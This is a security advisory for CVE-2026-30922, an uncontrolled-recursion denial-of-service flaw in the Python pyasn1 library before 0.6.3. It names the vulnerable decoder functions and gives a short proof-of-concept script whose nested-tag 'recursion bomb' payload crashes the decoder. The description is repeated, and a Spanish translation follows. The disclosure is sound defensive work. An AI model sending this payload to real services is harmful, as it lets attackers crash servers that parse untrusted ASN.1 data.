CVE-2026-30922

pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.3, the `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing thousands of nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with "Indefinite Length" (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. This is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue. Version 0.6.3 fixes this specific issue.

pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.3, the `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing thousands of nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with "Indefinite Length" (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. This is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue. Version 0.6.3 fixes this specific issue.

### Summary The `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. ### Details The vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. `indefLenValueDecoder` (Line 998): ```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):``` This method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag. 2. `valueDecoder` (Lines 786 and 907): ```for component in decodeFun(substrate, componentType, **options):``` This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types. 4. `_decodeComponentsSchemaless` (Line 661): ```for component in decodeFun(substrate, **options):``` This method handles decoding when no schema is provided. In all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit. ### PoC ``` import sys from pyasn1.codec.ber import decoder sys.setrecursionlimit(100000) print("[*] Generating Recursion Bomb Payload...") depth = 50_000 chunk = b'\x30\x80' payload = chunk * depth print(f"[*] Payload size: {len(payload) / 1024:.2f} KB") print("[*] Triggering Decoder...") try: decoder.decode(payload) except RecursionError: print("[!] Crashed: Recursion Limit Hit") except MemoryError: print("[!] Crashed: Out of Memory") except Exception as e: print(f"[!] Crashed: {e}") ``` ``` [*] Payload size: 9.77 KB [*] Triggering Decoder... [!] Crashed: Recursion Limit Hit ``` ### Impact - This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion. - Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely. - Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack. ### Credits Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

pyasn1 es una biblioteca ASN.1 genérica para Python. Antes de la versión 0.6.3, la biblioteca 'pyasn1' es vulnerable a un ataque de denegación de servicio (DoS) causado por recursión incontrolada al decodificar datos ASN.1 con estructuras profundamente anidadas. Un atacante puede suministrar una carga útil manipulada que contenga miles de etiquetas 'SEQUENCE' ('0x30') o 'SET' ('0x31') anidadas con marcadores de 'Longitud Indefinida' ('0x80'). Esto fuerza al decodificador a llamarse recursivamente hasta que el intérprete de Python falla con un 'RecursionError' o consume toda la memoria disponible (OOM), provocando la caída de la aplicación anfitriona. Esta es una vulnerabilidad distinta de CVE-2026-23490 (que abordó desbordamientos de enteros en la decodificación de OID). La solución para CVE-2026-23490 ('MAX_OID_ARC_CONTINUATION_OCTETS') no mitiga este problema de recursión. La versión 0.6.3 soluciona este problema específico.